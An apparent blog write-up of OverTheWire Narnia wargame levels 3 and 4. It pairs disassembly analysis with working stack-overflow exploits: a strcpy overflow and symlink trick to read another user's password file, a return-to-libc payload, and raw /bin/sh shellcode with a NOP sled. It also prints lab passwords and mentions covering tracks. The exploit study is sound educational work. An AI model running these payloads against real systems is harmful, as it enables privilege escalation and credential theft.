Contents

Narnia Challenges (part 2)

No real introduction should be necessarily time around. This write up is going to cover levels 3 and 4 of narnia. I am by no means an expert in what’s going on here, but wanted to document my understanding and process as I work through these levels.

One of the big changes going forward is that all of the assembly will be in the syntax used for the assembly. I’ve switch from ATT to using Intel syntax, I’ve personally found it a bit more readable and easier to follow. Details about the two flavors can be found here: https://en.wikipedia.org/wiki/X86_assembly_language#Syntax

narnia3

How to log into Narnia:

ssh -p 2226 narnia3@narnia.labs.overthewire.org

Password: vaequeezee Where to find all of the challenges:

cd /narnia/

Going to change up the order a bit, and start with dumping out the contents of the binary to exploit and looking for main. And more importantly show off a handy sed one-liner for extracting just the assembly of a specific function.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
narnia3@narnia:/narnia$ objdump -M intel -d narnia3 | sed '/<main>:/,/^$/!d'
0804850b <main>:
 804850b: 55                   push   ebp
 804850c: 89 e5                mov    ebp,esp
 804850e: 83 ec 58             sub    esp,0x58
 8048511: c7 45 e8 2f 64 65 76 mov    DWORD PTR [ebp-0x18],0x7665642f
 8048518: c7 45 ec 2f 6e 75 6c mov    DWORD PTR [ebp-0x14],0x6c756e2f
 804851f: c7 45 f0 6c 00 00 00 mov    DWORD PTR [ebp-0x10],0x6c
 8048526: c7 45 f4 00 00 00 00 mov    DWORD PTR [ebp-0xc],0x0
 804852d: 83 7d 08 02          cmp    DWORD PTR [ebp+0x8],0x2
 8048531: 74 1a                je     804854d <main+0x42>
 8048533: 8b 45 0c             mov    eax,DWORD PTR [ebp+0xc]
 8048536: 8b 00                mov    eax,DWORD PTR [eax]
 8048538: 50                   push   eax
 8048539: 68 a0 86 04 08       push   0x80486a0
 804853e: e8 4d fe ff ff       call   8048390 <printf@plt>
 8048543: 83 c4 08             add    esp,0x8
 8048546: 6a ff                push   0xffffffff
 8048548: e8 63 fe ff ff       call   80483b0 <exit@plt>
 804854d: 8b 45 0c             mov    eax,DWORD PTR [ebp+0xc] # argv
 8048550: 83 c0 04             add    eax,0x4
 8048553: 8b 00                mov    eax,DWORD PTR [eax]
 8048555: 50                   push   eax
 8048556: 8d 45 c8             lea    eax,[ebp-0x38]
 8048559: 50                   push   eax
 804855a: e8 41 fe ff ff       call   80483a0 <strcpy@plt> # copy argv[1] into ebp-0x38, overflow happens here
 804855f: 83 c4 08             add    esp,0x8
 8048562: 6a 02                push   0x2                  # open in readwrite mode
 8048564: 8d 45 e8             lea    eax,[ebp-0x18]
 8048567: 50                   push   eax
 8048568: e8 53 fe ff ff       call   80483c0 <open@plt>
 804856d: 83 c4 08             add    esp,0x8
 8048570: 89 45 fc             mov    DWORD PTR [ebp-0x4],eax #FD the outputfile
 8048573: 83 7d fc 00          cmp    DWORD PTR [ebp-0x4],0x0
 8048577: 79 18                jns    8048591 <main+0x86>
 8048579: 8d 45 e8             lea    eax,[ebp-0x18]
 804857c: 50                   push   eax
 804857d: 68 d8 86 04 08       push   0x80486d8
 8048582: e8 09 fe ff ff       call   8048390 <printf@plt>
 8048587: 83 c4 08             add    esp,0x8
 804858a: 6a ff                push   0xffffffff
 804858c: e8 1f fe ff ff       call   80483b0 <exit@plt>
 8048591: 6a 00                push   0x0                # open in readonly mode (from argv)
 8048593: 8d 45 c8             lea    eax,[ebp-0x38]
 8048596: 50                   push   eax
 8048597: e8 24 fe ff ff       call   80483c0 <open@plt>
 804859c: 83 c4 08             add    esp,0x8
 804859f: 89 45 f8             mov    DWORD PTR [ebp-0x8],eax #FD the inputfile
 80485a2: 83 7d f8 00          cmp    DWORD PTR [ebp-0x8],0x0
 80485a6: 79 18                jns    80485c0 <main+0xb5>
 80485a8: 8d 45 c8             lea    eax,[ebp-0x38]
 80485ab: 50                   push   eax
 80485ac: 68 d8 86 04 08       push   0x80486d8
 80485b1: e8 da fd ff ff       call   8048390 <printf@plt>
 80485b6: 83 c4 08             add    esp,0x8
 80485b9: 6a ff                push   0xffffffff
 80485bb: e8 f0 fd ff ff       call   80483b0 <exit@plt>
 80485c0: 6a 1f                push   0x1f
 80485c2: 8d 45 a8             lea    eax,[ebp-0x58]
 80485c5: 50                   push   eax
 80485c6: ff 75 f8             push   DWORD PTR [ebp-0x8]
 80485c9: e8 b2 fd ff ff       call   8048380 <read@plt>
 80485ce: 83 c4 0c             add    esp,0xc
 80485d1: 6a 1f                push   0x1f
 80485d3: 8d 45 a8             lea    eax,[ebp-0x58]
 80485d6: 50                   push   eax
 80485d7: ff 75 fc             push   DWORD PTR [ebp-0x4]
 80485da: e8 01 fe ff ff       call   80483e0 <write@plt>
 80485df: 83 c4 0c             add    esp,0xc
 80485e2: 8d 45 e8             lea    eax,[ebp-0x18]
 80485e5: 50                   push   eax
 80485e6: 8d 45 c8             lea    eax,[ebp-0x38]
 80485e9: 50                   push   eax
 80485ea: 68 ec 86 04 08       push   0x80486ec
 80485ef: e8 9c fd ff ff       call   8048390 <printf@plt>
 80485f4: 83 c4 0c             add    esp,0xc
 80485f7: ff 75 f8             push   DWORD PTR [ebp-0x8]
 80485fa: e8 f1 fd ff ff       call   80483f0 <close@plt>
 80485ff: 83 c4 04             add    esp,0x4
 8048602: ff 75 fc             push   DWORD PTR [ebp-0x4]
 8048605: e8 e6 fd ff ff       call   80483f0 <close@plt>
 804860a: 83 c4 04             add    esp,0x4
 804860d: 6a 01                push   0x1
 804860f: e8 9c fd ff ff       call   80483b0 <exit@plt>
 8048614: 66 90                xchg   ax,ax
 8048616: 66 90                xchg   ax,ax
 8048618: 66 90                xchg   ax,ax
 804861a: 66 90                xchg   ax,ax
 804861c: 66 90                xchg   ax,ax
 804861e: 66 90                xchg   ax,ax

No surprises here, need to give the program a quick run to determine what it’s trying to do:

1
2
3
4
5
    narnia3@narnia:/narnia$ ./narnia3
    usage, ./narnia3 file, will send contents of file 2 /dev/null

    narnia3@narnia:/narnia$ ./narnia3 narnia3.c
    copied contents of narnia3.c to a safer place... (/dev/null)

So it seems this program copies the contents of a file from one place to another, also, it’s important to note that this program belongs to the narnia4 group. The goal then seems to be to get this program to read the narnia4 password file and somehow redirect the output to a place that we specify, instead of /dev/null:

1
2
    narnia3@narnia:/narnia$ ./narnia3 /etc/narnia_pass/narnia4
    copied contents of /etc/narnia_pass/narnia4 to a safer place... (/dev/null)

Since it needs a valid file, looks like something clever has to be done to possibly break it. First create a directory with a file like /tmp + <a bunch of characaters> + /<file>. Then pass that into the program to see if it is possible to overflow the output directory:

1
2
    narnia3@narnia:/narnia$ ./narnia3 $(python -c 'print "/tmp/" + "B"*40')/test.txt
    error opening BBBBBBBBBBBBB/test.t????

That didn’t quite do the trick, so trying a bit more varied input:

1
2
    narnia3@narnia:/narnia$ ./narnia3 $(python -c 'print "/tmp/" + "B"*26')//tmp/test
    error opening /tmp/test

Looks like we have some control over some directory. Now to break down the assembly to confirm the suspicions:

First thing to do is copy the value of argv[1] into our input filename to be used with open later.

1
2
3
4
5
6
7
8
 804854d: 8b 45 0c             mov    eax,DWORD PTR [ebp+0xc] # Load address of argv[0]
 8048550: 83 c0 04             add    eax,0x4                 # Increment index to argv[1]
 8048553: 8b 00                mov    eax,DWORD PTR [eax]     # Move the address of argv[1] into $eax
 8048555: 50                   push   eax                     # Push addr of argv[1] to stack
 8048556: 8d 45 c8             lea    eax,[ebp-0x38]          # Address of the buffer to store the filename
 8048559: 50                   push   eax                     # Push it onto the stack
 804855a: e8 41 fe ff ff       call   80483a0 <strcpy@plt>    # Copy argv[1] into the buffer, this is where the overflow
                                                              # can occur since there's no size checking on the strcpy.

Next open the output file:

1
2
3
4
5
6
7
 8048511: c7 45 e8 2f 64 65 76 mov    DWORD PTR [ebp-0x18],0x7665642f # Load the string /dev/null
 ...
 804855f: 83 c4 08             add    esp,0x8
 8048562: 6a 02                push   0x2                  # Open in readwrite mode (O_RDWR)
 8048564: 8d 45 e8             lea    eax,[ebp-0x18]       # Get the filename for the outfile, what we open to overflow and control
 8048567: 50                   push   eax                  # Push it to the stack
 8048568: e8 53 fe ff ff       call   80483c0 <open@plt>   # Call open(filename, flags)

Once the open finishes, it checks that the file description returned from open is not NULL and then continues on to open the input file:

1
2
3
4
 8048591: 6a 00                push   0x0                # open in readonly mode (from argv)
 8048593: 8d 45 c8             lea    eax,[ebp-0x38]
 8048596: 50                   push   eax
 8048597: e8 24 fe ff ff       call   80483c0 <open@plt>

Again checking to make sure that the file description isn’t null. Then moving onto the good stuff of reading from the input file, and writing the contents out to /dev/null - or the location specified by overflowing the buffer.

Game plan:

  1. Create a directory that overflows the buffer allowing us to control the output directory
  2. Within this overflow directory, add another subdirectory that becomes our file to read in AND our final output
    1. Use a symbolic link to create a subdirectory file that allows us to link against the password file.
  3. Run the program and get the password.

Putting it all together:

1
2
3
4
5
6
    narnia3@narnia:/$ mkdir -p $(python -c 'print "/tmp/" + "Z"*7 + "A"*20')/tmp/
    narnia3@narnia:/$ ln -s /etc/narnia_pass/narnia4 $(python -c 'print "/tmp/" + "Z"*7 + "A"*20')/tmp/oopsiedo
    narnia3@narnia:/$ touch /tmp/oopsiedo
    narnia3@narnia:/$ chmod 777 /tmp/oopsiedo
    narnia3@narnia:/$ /narnia/narnia3 $(python -c 'print "/tmp/" + "Z"*7 + "A"*20')/tmp/oopsiedo
    copied contents of /tmp/ZZZZZZZAAAAAAAAAAAAAAAAAAAA/tmp/oopsiedo to a safer place... (/tmp/oopsiedo)

And the password:

1
2
    narnia3@narnia:/$ cat /tmp/oopsiedo
    thaenohtai

narnia4

How to log into Narnia:

ssh -p 2226 narnia4@narnia.labs.overthewire.org

Password: thaenohtai Where to find all of the challenges:

cd /narnia/

First up run the program and see what it does since this has gotten us pretty far:

1
2
narnia4@narnia:/narnia$ ./narnia4
narnia4@narnia:/narnia$

Well, looks like that wont’ do the trick, nothing obvious. Try to break it with some input:

1
2
3
4
5
narnia4@narnia:/narnia$ ./narnia4 $(python -c 'print "A"* 1024')
Segmentation fault
narnia4@narnia:/narnia$ ./narnia4 $(python -c 'print "A"* 256')
narnia4@narnia:/narnia$ ./narnia4 $(python -c 'print "A"* 320')
Segmentation fault

Well some good news, it’s possible to get it to SEGFAULT. objdump time - this time starting by looking for any interesting functions using -T:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
narnia4@narnia:/narnia$ objdump -T narnia4

narnia4:     file format elf32-i386

DYNAMIC SYMBOL TABLE:
00000000      DF *UND* 00000000  GLIBC_2.0   strcpy
00000000  w   D  *UND* 00000000              __gmon_start__
00000000      DF *UND* 00000000  GLIBC_2.0   strlen
00000000      DF *UND* 00000000  GLIBC_2.0   __libc_start_main
00000000      DF *UND* 00000000  GLIBC_2.0   memset
080497d4  w   DO .bss 00000004  GLIBC_2.0   _environ
080497d4  w   DO .bss 00000004  GLIBC_2.0   environ
080497d4 g    DO .bss 00000004  GLIBC_2.0   __environ
080485ac g    DO .rodata 00000004  Base        _IO_stdin_used

environ seems interesting. Use the magic one liner with objdump and awk (cause it never hurts to try out alternative methods) to get just the assembly of main:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
narnia4@narnia:/narnia$ objdump -M intel -d narnia4 | awk -F"\n" -v RS="\n\n" '$1 ~ /main/'

080484ab <main>:
 80484ab: 55                   push   ebp
 80484ac: 89 e5                mov    ebp,esp
 80484ae: 81 ec 04 01 00 00    sub    esp,0x104
 80484b4: c7 45 fc 00 00 00 00 mov    DWORD PTR [ebp-0x4],0x0
 80484bb: eb 39                jmp    80484f6 <main+0x4b>
 80484bd: a1 d4 97 04 08       mov    eax,ds:0x80497d4
 80484c2: 8b 55 fc             mov    edx,DWORD PTR [ebp-0x4]
 80484c5: c1 e2 02             shl    edx,0x2
 80484c8: 01 d0                add    eax,edx
 80484ca: 8b 00                mov    eax,DWORD PTR [eax]
 80484cc: 50                   push   eax
 80484cd: e8 9e fe ff ff       call   8048370 <strlen@plt>
 80484d2: 83 c4 04             add    esp,0x4
 80484d5: 89 c1                mov    ecx,eax
 80484d7: a1 d4 97 04 08       mov    eax,ds:0x80497d4
 80484dc: 8b 55 fc             mov    edx,DWORD PTR [ebp-0x4]
 80484df: c1 e2 02             shl    edx,0x2
 80484e2: 01 d0                add    eax,edx
 80484e4: 8b 00                mov    eax,DWORD PTR [eax]
 80484e6: 51                   push   ecx
 80484e7: 6a 00                push   0x0
 80484e9: 50                   push   eax
 80484ea: e8 a1 fe ff ff       call   8048390 <memset@plt>
 80484ef: 83 c4 0c             add    esp,0xc
 80484f2: 83 45 fc 01          add    DWORD PTR [ebp-0x4],0x1
 80484f6: a1 d4 97 04 08       mov    eax,ds:0x80497d4
 80484fb: 8b 55 fc             mov    edx,DWORD PTR [ebp-0x4]
 80484fe: c1 e2 02             shl    edx,0x2
 8048501: 01 d0                add    eax,edx
 8048503: 8b 00                mov    eax,DWORD PTR [eax]
 8048505: 85 c0                test   eax,eax
 8048507: 75 b4                jne    80484bd <main+0x12>
 8048509: 83 7d 08 01          cmp    DWORD PTR [ebp+0x8],0x1
 804850d: 7e 18                jle    8048527 <main+0x7c>
 804850f: 8b 45 0c             mov    eax,DWORD PTR [ebp+0xc]
 8048512: 83 c0 04             add    eax,0x4
 8048515: 8b 00                mov    eax,DWORD PTR [eax]
 8048517: 50                   push   eax
 8048518: 8d 85 fc fe ff ff    lea    eax,[ebp-0x104]
 804851e: 50                   push   eax
 804851f: e8 3c fe ff ff       call   8048360 <strcpy@plt>
 8048524: 83 c4 08             add    esp,0x8
 8048527: b8 00 00 00 00       mov    eax,0x0
 804852c: c9                   leave  
 804852d: c3                   ret
 804852e: 66 90                xchg   ax,ax

A quick scan through this whole function seems to have a few jmp followed by cmps, this may mean that there’s a loop involved in this bit of code. Time to breakdown a bit of what’s going on here to start building up a mental model and see if we can identify any areas that could be exploited. Taking note of the reservation of 260 bytes (0x104) on the stack:

1
 80484ae: 81 ec 04 01 00 00    sub    $0x104,%esp

A move zero into a variable, possibly some sort of counter:

1
 80484b4: c7 45 fc 00 00 00 00 mov    DWORD PTR [ebp-0x4],0x0

An important thing to note is that the $ebp-4 is the same as $esp-4 because of mov ebp,esp. Which means that there still should be 256 bytes left for other usages. Since the program will crash with 320 As, these 256 bytes are very likely for the buffer. Trying 264-270 should also cause the program to crash:

1
2
narnia4@narnia:/narnia$ ./narnia4 $(python -c 'print "A"* 264')
Segmentation fault

This address is for the external environ in C:

1
80484bd: a1 d4 97 04 08       mov    eax,ds:0x80497d4

In other words this, which we saw when using objdmp with -T:

1
080497d4 <__environ@@GLIBC_2.0>

This gets a value out of the envrion and sets up to call the strnlen function and saves the result into $eax:

1
2
3
4
5
6
7
8
 80484bd: a1 d4 97 04 08       mov    eax,ds:0x80497d4         # Move the addr to $eax
 80484c2: 8b 55 fc             mov    edx,DWORD PTR [ebp-0x4]  # Get an index
 80484c5: c1 e2 02             shl    edx,0x2                  # Adjust index
 80484c8: 01 d0                add    eax,edx                  # Index into env
 80484ca: 8b 00                mov    eax,DWORD PTR [eax]      # Load the address at envrion[i]
 80484cd: e8 9e fe ff ff       call   8048370 <strlen@plt>     # Get the strlen
 80484d2: 83 c4 04             add    esp,0x4
 80484d5: 89 c1                mov    ecx,eax                  # Save the return of the strlen

Next up is to tackle the memset, same sort of flow again which seems to be calling memset on envrion[i].

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

 80484d7: a1 d4 97 04 08       mov    eax,ds:0x80497d4        # Move the addr to $eax
 80484dc: 8b 55 fc             mov    edx,DWORD PTR [ebp-0x4] # Get an index
 80484df: c1 e2 02             shl    edx,0x2                 # Adjust index
 80484e2: 01 d0                add    eax,edx                 # Index into env
 80484e4: 8b 00                mov    eax,DWORD PTR [eax]     # Load the address at envrion[i]
 80484e6: 51                   push   ecx
 80484e7: 6a 00                push   0x0                     # Value to fill envrion[i] with
 80484e9: 50                   push   eax
 80484ea: e8 a1 fe ff ff       call   8048390 <memset@plt>    # Call memset

Next up is to increment the index (i++), and check to see if the pointer at envrion[i++] is not NULL. If it isn’t, then jump back up and start the memset process again, aka a loop. If it is NULL, exit from this loop and continue along. The NULL test just ANDs what is in $eax (which is just *environ[i]) against itself. If the result is equal to zero then ZF will be set to 1. jne will then jump if ZF is NOT equal to 1.

1
2
3
4
5
6
7
8
 80484f2: 83 45 fc 01          add    DWORD PTR [ebp-0x4],0x1 # i++
 80484f6: a1 d4 97 04 08       mov    eax,ds:0x80497d4
 80484fb: 8b 55 fc             mov    edx,DWORD PTR [ebp-0x4]
 80484fe: c1 e2 02             shl    edx,0x2
 8048501: 01 d0                add    eax,edx
 8048503: 8b 00                mov    eax,DWORD PTR [eax]
 8048505: 85 c0                test   eax,eax                # This is the check for the loop
 8048507: 75 b4                jne    80484bd <main+0x12>    # environ[i] != NULL

Something worth nothing here with the way this loop is structured didn’t make a lot of sense to me at first. Intuitively I’d was expected the test and jmp to be structured a bit differently, more like the increment and the jump at the end of the instructions, and the actual testing and jumping out of the loop being at the start of the instructions. So when I was first looking at this code it didn’t immediately click with me that this was a loop - one of the lessons I learned was the value in scanning over the whole function to get a general sense of what it may be doing.

Last but not least to understand what’s happening after the loop finishes, and where the vulnerability exists with strcpy:

1
2
3
4
5
6
7
 804850f: 8b 45 0c             mov    eax,DWORD PTR [ebp+0xc] # These four lines are responsible
 8048512: 83 c0 04             add    eax,0x4                 # for getting the address from argv[1]
 8048515: 8b 00                mov    eax,DWORD PTR [eax]     # and pushing
 8048517: 50                   push   eax                     # that to the stack
 8048518: 8d 85 fc fe ff ff    lea    eax,[ebp-0x104]         # Gets the address of the buffer to copy the data to
 804851e: 50                   push   eax
 804851f: e8 3c fe ff ff       call   8048360 <strcpy@plt>    # This is the strcpy that can be exploited

When we put it all together, there seems to be some loop that memsets all environment variables. And a strcpy that allows for an overflow. So we can’t store shellcode in the environment. That said, the buffer we have is big enough to store some shellcode to execute our shell, so we could use what we’ve done in narnia1 using the shellcode that was created.

Or we can use this as an opportunity to try a different route using the Return-to-LibC Exploit. I based a lot of what I did here on the pdf from MIT, https://css.csail.mit.edu/6.858/2010/readings/return-to-libc.pdf.

Return-to-LibC can be broken into a few different steps:

  1. Find the address of “system()". This can be done by attaching gdb to the program, running it and then printing out the function.

    1
    2
    
    (gdb) p system
    $2 = {<text variable, no debug info>} 0xf7e4c850 <system>
    
  2. Find the address of “exit()", this is optional, if this isn’t done the program will crash on shell exit. So in a real world case this would be worth doing to cover our tracks, so some process doesn’t unexpectedly die.

    1
    2
    3
    
    (gdb) p exit
    $1 = {<text variable, no debug info>} 0xf7e40800 <exit>
    This one is tricky to do as there are nullbytes
    
  3. Find the address for /bin/sh, this can be done in quite a few different ways, however this time around we’ll rely on it being in memory somewhere.

    1
    2
    3
    4
    
    (gdb) find 0xf7e4c850,+99999999,"/bin/sh"
    0xf7f6ecc8
    warning: Unable to access 16000 bytes of target memory at 0xf7fc8a50, halting search.
    1 pattern found.
    
  4. Build up the shellcode with python, using the formula found Return-To-LibC Exploit, we need to adjust the padding for the buffer size we determined earlier that would allow us to $eip smash. ../images/magicformula.png

    1
    
    > $(python -c 'print "A" * 264 +  "\x50\xc8\xe4\xf7" + "SEXY" + "\xc8\xec\xf6\xf7" ')
    
  5. With it all prepared, time to actually use it to get the shell for the next level:

    1
    2
    3
    
    > narnia4@narnia:~$ /narnia/narnia4 $(python -c 'print "A" * 264 +  "\x50\xc8\xe4\xf7" + "SEXY" + "\xc8\xec\xf6\xf7" ')
    $ whoami
    narnia5
    

Then grab the password for the next level:

1
2
$ cat /etc/narnia_pass/narnia5
faimahchiy

Alternate Solution to narnia4 with Shellcode

For an alternative solution, using the shellcode from narnia1.

Adjust the payload size of the NOOPz. Recall that the size of the shellcode is 49 bytes. So 264bytes - 49bytes = 215bytes.

Run the program and look at the stack to get an approximation of where our NOOP sled lives:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(gdb) r  $(python -c 'print "\x90"*215 + "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41\x42\x42\x42\x42" + "CCCC"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia4 $(python -c 'print "\x90"*215 + "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41\x42\x42\x42\x42" + "CCCC"')

Breakpoint 1, 0x0804852c in main ()
(gdb) x/100xw $esp
0xffffd4a4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd4b4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd4c4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd4d4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd4e4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd4f4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd504: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd514: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd524: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd534: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd544: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd554: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd564: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd574: 0x90909090 0xeb909090 0xc0315e1a 0x8d074688
0xffffd584: 0x085e891e 0xb00c4689 0x8df3890b 0x568d084e
0xffffd594: 0xe880cd0c 0xffffffe1 0x6e69622f 0x4a68732f
0xffffd5a4: 0x41414141 0x42424242 0x43434343 0x00000000
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()

Replace the CCCC with an address roughly in the NOOP sled and away we go:

1
2
3
4
5
narnia4@narnia:/narnia$ ./narnia4 $(python -c 'print "\x90"*215 + "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41\x42\x42\x42\x42" + "\xf4\xd4\xff\xff"')
$ whoami
narnia5
$ cat /etc/narnia_pass/narnia5
faimahchiy